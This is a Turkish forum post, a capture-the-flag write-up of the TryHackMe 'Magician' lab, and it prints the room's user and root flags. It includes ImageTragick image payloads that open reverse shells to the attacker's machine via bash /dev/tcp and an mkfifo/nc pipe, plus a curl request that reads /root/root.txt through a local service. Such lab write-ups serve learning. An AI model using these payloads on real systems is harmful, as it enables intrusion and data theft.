Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

TryHackMe Magician WriteUp

omertugrulbayram

Moderator
Araştırmacı
Katılım
2 Ocak 2026
Mesajlar
38
Tepkime puanı
46
Puan
18
Merhaba arkadaşlar, bugün TryHackMe platformu üzerinde bulunan Magician odasını çözeceğiz. İlk başta VPN bağlantısı sağlayıp makinemizi başlatıyoruz. İp adresimizi aldıktan sonra /etc/hosts dosyamıza kaydediyoruz.
sudo nano /etc/hosts

Artık nmap taramasını yapabiliriz.
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV magician
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (application/json).
8081/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.94 seconds

Gördüğümüz gibi ftp ve http portlarının açık olduğunu gördük, web tarayıcımızdan erişimimizi kontrol edelim.
1769803148286.jpg
8081 Portunda converter bizi karşıladı. Şimdi kendimize png dosyası oluşturup içine zararlı komut ekleyeceğiz. Bu yüzden exploit.png dosyamızı oluşturup içine kodumuzu yerleştiriyoruz.

GNU nano 8.7 exploit.png *
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/<tun0_ip>/4444 0>&1")'
pop graphic-context
Buradan istediğim sonucu alamadım ftp logini deniyorum.

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp magician
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password:

230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp>
ftp>

Evet anonymous login olabildik ve bize bir ipucu verdi. Beni imagetrick.com sitesine yönlendiriyor buradan bir exploit araştırarak bulduk. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Picture%20ImageMagick/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png buradaki exploiti kullanacağız.

bu komut ile png dosyası oluşturup içine şu komutu ekliyorum.
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|mkfifo /tmp/gjdpez; nc <tun0> 4444 0</tmp/gjdpez | /bin/sh >/tmp/gjdpez 2>&1; rm /tmp/gjdpez '
pop graphic-context
pop graphic-context

Bu haliyle kaydediyoruz ve yan terminalimizde

komutunu çalıştırıp shell.png dosyamızı siteye upload ediyoruz.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.174.127] from (UNKNOWN) [10.80.146.236] 45620
whoami
magician
ls
1429
uploads

Evet erişim sağladık.

cd /home/magician
ls
spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
the_magic_continues
uploads
user.txt
cat user.txt
THM{simsalabim_hex_hex}

ilk flagimizi almış olduk,
USER FLAG: THM{simsalabim_hex_hex}
ls -la
total 17204
drwxr-xr-x 5 magician magician 4096 Feb 13 2021 .
drwxr-xr-x 3 root root 4096 Jan 30 2021 ..
lrwxrwxrwx 1 magician magician 9 Feb 6 2021 .bash_history -> /dev/null
-rw-r--r-- 1 magician magician 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 magician magician 3771 Apr 4 2018 .bashrc
drwx------ 2 magician magician 4096 Jan 30 2021 .cache
drwx------ 3 magician magician 4096 Jan 30 2021 .gnupg
-rw-r--r-- 1 magician magician 807 Apr 4 2018 .profile
-rw-r--r-- 1 magician magician 0 Jan 30 2021 .sudo_as_admin_successful
-rw------- 1 magician magician 7546 Jan 31 2021 .viminfo
-rw-r--r-- 1 root root 17565546 Jan 30 2021 spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 magician magician 170 Feb 13 2021 the_magic_continues
drwxr-xr-x 2 root root 4096 Feb 5 2021 uploads
-rw-r--r-- 1 magician magician 24 Jan 30 2021 user.txt
cat the_magic_continues
The magician is known to keep a locally listening cat up his sleeve, it is said to be an oracle who will tell you secrets if you are good enough to understand its meows.

Burada dosyaları listeleyip ilerlemem yardımcı olacak bir ipucu buldum içeride 127.0.0.1'i dinleyen dosyaları listeleyeceğim.

ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 10.80.146.236%ens5:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:6666 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:8081 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 100 *:8080 *:* users:(("java",pid=1429,fd=25))

tcp LISTEN 0 32 *:21 *:*

Burada 127.0.0.1:6666 dikkat çekiyor curl atıp bakalım çekebiliyor muyuz.
HTML:
curl -X POST -d "/root/root.txt" http://127.0.0.1:6666
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2865  100  2851  100    14  31329    153 --:--:-- --:--:-- --:--:-- 31483
<!DOCTYPE html>
<html>
  <head>
    <title>The Magic cat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
   
<div class="navbar navbar-inverse" role="navigation">
    <div class="container">
        <div class="navbar-header">          
            <a class="navbar-brand" href="/">The Magic cat</a>
        </div>      
    </div>
</div>

   
<div class="container">

<form action="" method="post"
  class="form" role="form">
 




<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
       
          <input class="form-control" id="filename" name="filename" type="text" value="">
       
  </div>







 




    <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">





</form>
<div>
    <span>
        <pre class="page-header">

        ░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄░░░░░░░
        ░░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄░░░░
        ░░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█░░░
        ░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█░░
        ░▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█░
        █░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█
        █░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█
        ░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█░
        ░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█░░
        ░░░█░░░░██░░▀█▄▄▄█▄▄█▄████░█░░░
        ░░░░█░░░░▀▀▄░█░░░█░█▀██████░█░░
        ░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█░░
        ░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█░
        ░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█░
        ░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░░░░█░░
       
       
        </pre>
    </span>
</div>

</div>


   
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
  </body>
</html>

Evet burada dikkatimizi çeken şey filename parametresi bekliyor ve bizde öyle çekicez.
HTML:
curl -X POST -d "filename=/root/root.txt" http://127.0.0.1:6666
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1611  100  1588  100    23   258k   3833 --:--:-- --:--:-- --:--:--  262k
<!DOCTYPE html>
<html>
  <head>
    <title>The Magic cat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
   
<div class="navbar navbar-inverse" role="navigation">
    <div class="container">
        <div class="navbar-header">          
            <a class="navbar-brand" href="/">The Magic cat</a>
        </div>      
    </div>
</div>

   
<div class="container">

<form action="" method="post"
  class="form" role="form">
 




<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
       
          <input class="form-control" id="filename" name="filename" type="text" value="/root/root.txt">
       
  </div>







 




    <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">





</form>
<div>
    <span>
        <pre class="page-header">
        1010100 1001000 1001101 1111011 1101101 1100001 1100111 1101001 1100011 1011111 1101101 1100001 1111001 1011111 1101101 1100001 1101011 1100101 1011111 1101101 1100001 1101110 1111001 1011111 1101101 1100101 1101110 1011111 1101101 1100001 1100100 1111101 1010
       
        </pre>
    </span>
</div>

</div>


   
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
  </body>
</html>

Burada binary ile şifrelenmiş bir değer var; 1010100 1001000 1001101 1111011 1101101 1100001 1100111 1101001 1100011 1011111 1101101 1100001 1111001 1011111 1101101 1100001 1101011 1100101 1011111 1101101 1100001 1101110 1111001 1011111 1101101 1100101 1101110 1011111 1101101 1100001 1100100 1111101 bunu decode ediyoruz.
1769803490131.jpg



ROOT FLAG: THM{magic_may_make_many_men_mad}
 
Son düzenleme:
Geri
Üst